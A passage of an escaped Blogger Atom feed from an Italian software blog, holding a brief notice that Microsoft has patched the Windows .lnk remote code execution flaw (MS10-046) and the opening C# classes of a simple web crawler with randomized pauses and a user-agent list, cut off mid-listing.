&lt;a href="http://feedads.g.doubleclick.net/~a/6AN0aKrUXOoxb6qLmJX8M4lAsAg/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/6AN0aKrUXOoxb6qLmJX8M4lAsAg/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/4hI6LKEnYzE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/6977197996836184250/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/crittografia-gsm-non-e-necessario.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6977197996836184250?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/6977197996836184250?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/4hI6LKEnYzE/crittografia-gsm-non-e-necessario.html" title="Crittografia GSM : non è necessario crakkarla è sufficiente &quot;spegnerla&quot;" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/crittografia-gsm-non-e-necessario.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUEGQX0ycSp7ImA9Wx5TGUs.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-9200341775678822804</id><published>2010-08-03T13:09:00.003+02:00</published><updated>2010-08-05T01:13:40.399+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-05T01:13:40.399+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="pif remote code execution" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term=".lnk remote code execution" /><category scheme="http://www.blogger.com/atom/ns#" term="link windows shell" /><category scheme="http://www.blogger.com/atom/ns#" term="patch" /><category scheme="http://www.blogger.com/atom/ns#" term="the informant" /><title>E' arrivata la patch per la falla dei file .lnk di windows che permetteva l'esecuzione di codice remoto tramite windows shell</title><content type="html">qui "http://www.microsoft.com/technet/security/bulletin/ms10-046.mspx"&lt;br /&gt;
trovate il bolletino di microsoft con i dettagli , finalmente quindi questo problema che permetteva l'esecuzione di codice remoto tramite la windows shell è risolto, l'aggiornamento viene scaricato subito da windows update essendo di livello "critical"......&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2498733631801710230-9200341775678822804?l=freeware--software.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/_wDUTI61qaBWz2GOz9bCmtFCshw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_wDUTI61qaBWz2GOz9bCmtFCshw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/_wDUTI61qaBWz2GOz9bCmtFCshw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/_wDUTI61qaBWz2GOz9bCmtFCshw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/hHAGT/~4/mV9UG6umR-U" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://freeware--software.blogspot.com/feeds/9200341775678822804/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://freeware--software.blogspot.com/2010/08/e-arrivata-la-patch-per-la-falla-dei.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/9200341775678822804?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/2498733631801710230/posts/default/9200341775678822804?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/hHAGT/~3/mV9UG6umR-U/e-arrivata-la-patch-per-la-falla-dei.html" title="E' arrivata la patch per la falla dei file .lnk di windows che permetteva l'esecuzione di codice remoto tramite windows shell" /><author><name>Gianmarco Castagna</name><uri>http://www.blogger.com/profile/02452503114306769644</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://freeware--software.blogspot.com/2010/08/e-arrivata-la-patch-per-la-falla-dei.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkINQ3w7fSp7ImA9Wx5TGEk.&quot;"><id>tag:blogger.com,1999:blog-2498733631801710230.post-2166215608447702796</id><published>2010-07-30T22:33:00.020+02:00</published><updated>2010-08-03T17:16:32.205+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-03T17:16:32.205+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="gratis software" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarco castagna" /><category scheme="http://www.blogger.com/atom/ns#" term="webbrowser" /><category scheme="http://www.blogger.com/atom/ns#" term=".net" /><category scheme="http://www.blogger.com/atom/ns#" term="plugin" /><category scheme="http://www.blogger.com/atom/ns#" term="browser-crawler" /><category scheme="http://www.blogger.com/atom/ns#" term="gianmarcocastagna" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratis" /><category scheme="http://www.blogger.com/atom/ns#" term="software freeware" /><category scheme="http://www.blogger.com/atom/ns#" term="freeware software" /><category scheme="http://www.blogger.com/atom/ns#" term="software gratuito" /><category scheme="http://www.blogger.com/atom/ns#" term=".net c#" /><category scheme="http://www.blogger.com/atom/ns#" term="free software" /><title>A browser crawler : the code</title><content type="html">configuration class allows some configuration variables and methods&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;public class Configuration&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int sequenceLen = 10000;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int bigPauseSeconds = 9;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int littlePauseSeconds = 2;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int frequencyBigPauseMax = 21;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int frequencyBigPauseMin = 5; &lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int deepBrowsing = 3; //&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;string&amp;gt; browserIdentities = new List&amp;lt;string&amp;gt;();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Configuration()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LoadBrowserIdenties();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //only for webclient class usage&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private void LoadBrowserIdenties()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //add here "user-agent" http values&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; browserIdentities.Add("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.0.3705;)");&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
LoadBrowserIdentities allows loading of "user-agent" var for multiple browsers, at this time one :-) ,&lt;br /&gt;
&lt;br /&gt;
Util class do ...utility class and contains methods helper for entire application&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&lt;span style="color: orange;"&gt;public class Util&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Util()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public string HtmlEncode(string input)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return HttpUtility.UrlEncode(input);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;int&amp;gt; CreatePauseSequence()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configuration c = new Configuration();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; List&amp;lt;int&amp;gt; sequencePauseList = new List&amp;lt;int&amp;gt;();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Random r = new Random();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int bigPauseRndFrequency = r.Next(c.frequencyBigPauseMin, c.frequencyBigPauseMax);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int start = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int end = c.sequenceLen;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; while (start &amp;lt; end)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ((start % bigPauseRndFrequency) == 0)&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sequencePauseList.Add(this.BigPauseCalculator());&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; else&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sequencePauseList.Add(this.LittlePauseCalculator());&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; start++;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return sequencePauseList;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private int BigPauseCalculator()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configuration c = new Configuration();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int initial = c.bigPauseSeconds;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Random r = new Random();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int randRet = r.Next(10);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int final = initial * randRet;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return final;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; private int LittlePauseCalculator()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int finalLittle = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Configuration c = new Configuration();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Random r = new Random();&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int rndRet = r.Next(10);&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int l = c.littlePauseSeconds;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; finalLittle = rndRet * l;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return finalLittle;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
class NodeResource is a node of navigation process ,it extends Node class&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;public class Node&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public Node()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; public class NodeResource:Node&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public int deepNode = 0;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public string uri = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public bool visited = false;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public HtmlDocument currDocument = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public string strCurrDocument = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;KeywordsResult&amp;gt; listK = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public List&amp;lt;RegExResult&amp;gt; listR = null;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public byte[] binaryResource;&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; public NodeResource()&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
class Navigation is navigation process&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: orange;"&gt;public class Navigation&lt;/span&gt;&lt;br /&gt;
&lt;span style="color: orange;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;/span&gt;&lt;br /&gt;
